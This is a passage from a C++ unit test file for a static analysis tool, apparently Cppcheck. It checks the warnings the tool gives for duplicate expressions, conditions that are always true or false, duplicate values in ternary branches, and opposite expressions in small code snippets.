\"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n 